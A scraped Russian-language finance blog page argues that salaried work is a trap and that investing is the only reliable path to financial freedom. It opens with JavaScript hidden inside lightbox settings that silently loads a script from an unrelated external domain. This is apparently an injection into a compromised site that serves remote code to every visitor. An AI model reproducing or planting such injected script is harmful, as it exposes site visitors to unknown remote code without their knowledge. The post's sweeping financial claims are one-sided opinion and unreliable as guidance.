, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })

wordpress themes.

В чем разница между предпринимателем и работником?

Вы сталкивались с дискуссиями между работником и предпринимателем? Одни говорят, что работа по найму — это стабильность, другие — что это рабство.

Кто же прав? Вообще, это два различных пути, которые соответствуют разным характерам личности. Сложно представить, чтобы все сразу стали лидерами. Так же никогда все люди не станут наемными работниками. Всегда будет это разделение.

На мой взгляд, основным отличием предпринимателя от наемного работника является уровень ответственности человека за свою жизнь. Предприниматель сам определяет, кем хочет быть, что делать, куда идти. Сам ставит себе цели и планы, ну и, конечно же, сам отвечает за результат.

Если человек не хочет отвечать за себя и свою жизнь, то ему будет комфортнее в чужом мирке работодателя.

Предлагаю вам посмотреть видео о природе данной проблемы. Кстати, для тех людей, кто хочет быть свободным, но не хочет брать на себя ответственность предпринимателя, есть решение — нужно становиться инвестором. Тогда Вы будете управляющим, а роль ослика будут исполнять Ваши деньги:

Но не нужно испытывать иллюзий относительно вашей работы. Работая за зарплату вы получаете бомбу замедленного действия. Вы хотите стабильности и отсутствия ответственности. Однако в этом и кроется проблема:

  • Работая в найме, вы перестаете решать,  чего же хотите именно Вы;
  • Вы реализовываете цели начальника, но не свои;
  • За любую оплошность вас могут уволить. Что это за снижение ответственности?
  • Вас могут уволить просто так. Например, при сокращении штата. Что это за надежность и стабильность?
  • Результат у РАБотника всегда один — человек уходит с работы на маленькую пенсию.

 

Но что же делать?

Ответ как всегда очень прост и кроется в книге Роберта Кийосаки «Квадрант денежного потока». Ваши доходы бывают двух типов:

  • Линейный — вы работаете и получаете деньги. Сюда так же относятся индивидуальные предприниматели, чей доход связан с их личной работой;
  • Пассивный — вы получаете деньги не зависимо от того, что делаете.

Если вы хотите выйти на уровень финансовой свободы, то единственный надежный способ — это инвестиции. Научите свои деньги работать, и вам будет не важно, являетесь вы бизнесменом или наемным работником. Вы сами сможете определять, что делать и куда идти. А оплачивать Вам это будут Ваши работающие деньги.

Поделиться в соц. сетях


Вы можете пропустить чтение записи и оставить комментарий. Размещение ссылок запрещено.


Оставить комментарий


Использование материалов данного сайта запрещено, без активной гиперссылки на сайт - http://okinvest.ru.

Автор не несет ответственности за деятельность компаний, описанных на сайте. Уведомление о рисках.